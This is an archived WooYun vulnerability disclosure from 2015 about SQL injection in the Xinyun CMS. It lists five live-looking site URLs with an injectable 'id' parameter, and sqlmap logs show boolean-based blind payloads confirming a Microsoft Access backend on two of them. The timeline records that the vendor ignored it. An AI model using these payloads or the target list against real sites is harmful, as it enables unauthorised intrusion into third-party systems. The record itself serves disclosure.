乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-01-13: 细节已通知厂商并且等待厂商处理中 2015-01-18: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放 2015-03-14: 细节向核心白帽子及相关领域专家公开 2015-03-24: 细节向普通白帽子公开 2015-04-03: 细节向实习白帽子公开 2015-04-02: 细节向公众公开
RT.
更多案例见:
WooYun: 新云cms建站系统存在ewebeditor上传和iis解析漏洞可批量getshell
http://www.bjsanda.net/shownews.asp?id=75http://www.gl360.org/shownews.asp?id=87http://www.yjcjy.com/shownews.asp?id=176http://www.xianclass.com/shownews.asp?id=75http://www.jyembed.com/shownews.asp?id=95
Place: GETParameter: id Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=95 AND 2141=2141---[18:25:51] [INFO] testing Microsoft Access[18:25:51] [INFO] confirming Microsoft Access[18:25:52] [INFO] the back-end DBMS is Microsoft Accessweb server operating system: Windows 2003web application technology: ASP.NET, Microsoft IIS 6.0, ASPback-end DBMS: Microsoft Access[18:25:52] [WARNING] HTTP error codes detected during testing:500 (Internal Server Error) - 55 times[18:25:52] [WARNING] cannot properly display Unicode characters inside Windows OS command prompt (http://bugs.python.org/issue1602). All unhandled occurances will result in replacement with '?' character. Please, find proper character representation inside corresponding output files.[18:25:52] [INFO] fetched data logged to text files under 'C:\DOCUME~1\ADMINI~1\??\??\SQLMAP~1\SQLMAP~1\Bin\output\www.jyembed.com'
Place: GETParameter: id Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=75 AND 6866=6866---[18:26:21] [INFO] testing MySQL[18:26:22] [WARNING] the back-end DBMS is not MySQL[18:26:22] [INFO] testing Oracle[18:26:22] [WARNING] the back-end DBMS is not Oracle[18:26:22] [INFO] testing PostgreSQL[18:26:23] [WARNING] the back-end DBMS is not PostgreSQL[18:26:23] [INFO] testing Microsoft SQL Server[18:26:24] [WARNING] the back-end DBMS is not Microsoft SQL Server[18:26:24] [INFO] testing SQLite[18:26:24] [WARNING] the back-end DBMS is not SQLite[18:26:24] [INFO] testing Microsoft Access[18:26:25] [INFO] confirming Microsoft Access[18:26:26] [INFO] the back-end DBMS is Microsoft Accessweb server operating system: Windows 2003web application technology: ASP.NET, Microsoft IIS 6.0, ASPback-end DBMS: Microsoft Access[18:26:26] [WARNING] HTTP error codes detected during testing:500 (Internal Server Error) - 57 times[18:26:26] [WARNING] cannot properly display Unicode characters inside Windows OS command prompt (http://bugs.python.org/issue1602). All unhandled occurances will result in replacement with '?' character. Please, find proper character representation inside corresponding output files.[18:26:26] [INFO] fetched data logged to text files under 'C:\DOCUME~1\ADMINI~1\??\??\SQLMAP~1\SQLMAP~1\Bin\output\www.bjsanda.net'
过滤
危害等级:无影响厂商忽略
忽略时间:2015-04-02 10:23
暂无